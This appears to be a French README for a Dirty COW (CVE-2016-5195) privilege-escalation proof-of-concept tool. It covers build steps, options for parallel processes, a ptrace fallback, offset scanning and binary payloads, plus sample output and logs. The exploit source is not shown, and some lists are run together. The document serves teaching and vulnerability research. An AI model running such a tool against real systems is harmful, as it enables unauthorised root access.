
PoC éducatif pour Dirty COW (CVE-2016-5195) avec journalisation, repli ptrace et support de payload binaire.
Ce code est fourni UNIQUEMENT À DES FINS ÉDUCATIVES. Toute utilisation malveillante est strictement interdite et illégale.
Dirty COW (CVE-2016-5195) est une vulnérabilité d'élévation de privilèges dans le noyau Linux qui exploite une condition de course (race condition) dans le mécanisme de copie sur écriture (copy-on-write, COW) du noyau. Cette vulnérabilité affecte les noyaux Linux de la version 2.6.22 (sortie en 2007) jusqu'aux versions antérieures à :
La vulnérabilité se produit dans le système de gestion de la mémoire du noyau :
MAP_PRIVATE, les modifications doivent créer une copie privée.madvise(MADV_DONTNEED) et l'écriture dans /proc/self/mem./etc/passwd.N'exécutez JAMAIS ceci sur des systèmes de production ou des systèmes qui ne vous appartiennent pas !
# 1. Vérifiez d'abord la version du noyau
uname -r
# 2. Créez un répertoire de test isolé
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test
# 3. Testez uniquement avec des fichiers inoffensifs
./main -t /tmp/test_file -v
# 4. Surveillez les ressources système
top -p $(pgrep -f main)
# Installez les paquets nécessaires (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev
# Installez les paquets nécessaires (CentOS/RHEL)
sudo yum install gcc openssl-devel
# Compilation standard
make
# Version de débogage
make main-debug
# Compilation manuelle
gcc -o main main.c -lpthread -lssl -lcrypto
# Test simple avec paramètres par défaut
./main
# Mode verbeux avec cible personnalisée
./main -t /tmp/testfile -v
# Utilisation avancée avec plusieurs processus
./main -t /tmp/target -n 4 -r 3 -D -v
# Payload binaire depuis un fichier
./main -f payload.bin -P -D -n 2
| Option | Description | Défaut | Max |
|---|---|---|---|
-t <fichier> | Chemin du fichier cible | /tmp/dirty_cow_test | - |
-p <payload> | Payload texte personnalisé | Chaîne de test | - |
-f <fichier> | Charger un payload binaire depuis un fichier | - | - |
-i <nombre> | Nombre d'itérations | 10 000 000 | 100 000 000 |
-n <nombre> | Nombre de processus parallèles | 1 | 8 |
-r <nombre> | Tentatives de réessai | 1 | 10 |
-P | Utiliser ptrace au lieu de /proc/self/mem | Désactivé | - |
-D | Activer le balayage dynamique d'offset | Désactivé | - |
-v | Sortie verbeuse | Désactivé | - |
-l <fichier> | Chemin du fichier journal | exploit_log.txt | - |
-h | Afficher l'aide | - | - |
/proc/self/mem (par défaut)ptrace(PTRACE_POKETEXT) pour les systèmes restreintsScanne plusieurs offsets mémoire pour trouver la meilleure position d'écriture :
./main -D -v # Activer le balayage dynamique d'offset
Lancez plusieurs processus pour des conditions de course intenses :
./main -n 4 # Utiliser 4 processus parallèles
Chargez des données binaires arbitraires depuis des fichiers :
# Créer un payload binaire
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin
# Utiliser le payload binaire
./main -f payload.bin -v
Réessayez automatiquement les tentatives échouées :
./main -r 5 # Réessayer jusqu'à 5 fois
Utilise le hachage SHA-256 pour vérifier les modifications des fichiers :
# Vérifier les hachages du fichier original vs modifié
./main -v # Affiche la comparaison des hachages en mode verbeux
Dirty COW PoC Éducatif (CVE-2016-5195)
==========================================
=== INFORMATIONS SYSTÈME ===
Version du noyau : Linux 4.4.0-generic
Architecture : x86_64
Utilisateur actuel : testuser
UID/GID : 1000/1000
=== VÉRIFICATION DE LA VULNÉRABILITÉ ===
Noyau : Linux version 4.4.0-generic
[+] /proc/self/mem accessible
=== DÉBUT DU TEST ===
=== EXÉCUTION DE L'EXPLOIT ===
[+] Cible : /tmp/dirty_cow_test
[+] Longueur du payload : 32 octets
[+] Itérations : 10000000
[+] Processus : 1
[+] Méthode : /proc/self/mem
[+] Offset dynamique : désactivé
[+] Sauvegarde créée : /tmp/dirty_cow_test.backup
[+] Contenu original : contenu-original-avant-exploit
[+] Début du test de condition de course...
[+] EXPLOIT RÉUSSI à la tentative 1 !
[+] Le hachage du fichier a changé - modification confirmée !
[+] Original : a1b2c3d4e5f6...
[+] Final : f6e5d4c3b2a1...
=== TEST RÉUSSI ===
[+] Modification du fichier terminée
[+] Objectif éducatif atteint
[+] Statistiques : 156789 écritures, 1 réussie, 2.347 sec
L'outil crée des journaux détaillés dans exploit_log.txt :
[2024-01-15 10:30:45] Informations système - UID/GID : 1000/1000
[2024-01-15 10:30:45] Version du noyau : Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Démarrage de l'exploit - Cible : /tmp/test, Payload : 32 octets
[2024-01-15 10:30:47] EXPLOIT RÉUSSI à la tentative 1
[2024-01-15 10:30:47] Statistiques finales - Écritures : 156789, Réussies : 1, Durée : 2.347 sec
# Test de la fonctionnalité de base de l'exploit
./main -t /tmp/basic_test -v
# Test de condition de course haute intensité
./main -i 50000000 -n 4 -r 3 -D -v
# Test lorsque /proc/self/mem est bloqué
./main -P -D -v
# Test avec des données binaires contenant des octets nuls
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v
L'exploit fonctionne en créant une compétition entre deux opérations :
madvise(MADV_DONTNEED) – Indique au noyau de supprimer les pages mémoire/proc/self/mem – Tente d'écrire dans la mémoire mappéeMAP_PRIVATELorsque la condition de course réussit :
1. « Exploit échoué ou itérations insuffisantes »
-i ou utilisez plusieurs processus -n2. « Échec d'accès à /proc/self/mem »
-P3. « Le système n'est peut-être pas vulnérable »
uname -r4. Le système devient non réactif
-i 1000000-n 1# Paramètres conservateurs (plus lents mais plus sûrs)
./main -i 5000000 -n 1
# Paramètres agressifs (plus rapides mais gourmands en ressources)
./main -i 50000000 -n 4 -D
# Paramètres équilibrés
./main -i 20000000 -n 2 -r 2 -D
Il s'agit d'un outil éducatif. Les contributions doivent se concentrer sur :
Ce logiciel est fourni à des fins éducatives et de recherche uniquement. Les auteurs et contributeurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce programme. Les utilisateurs sont seuls responsables de s'assurer qu'ils disposent des autorisations appropriées avant de tester sur tout système.
En utilisant ce logiciel, vous reconnaissez que :
Ce projet est publié sous la licence MIT à des fins éducatives uniquement.
Souvenez-vous : un grand pouvoir implique de grandes responsabilités. Utilisez ces connaissances pour protéger et sécuriser les systèmes, non pour leur nuire.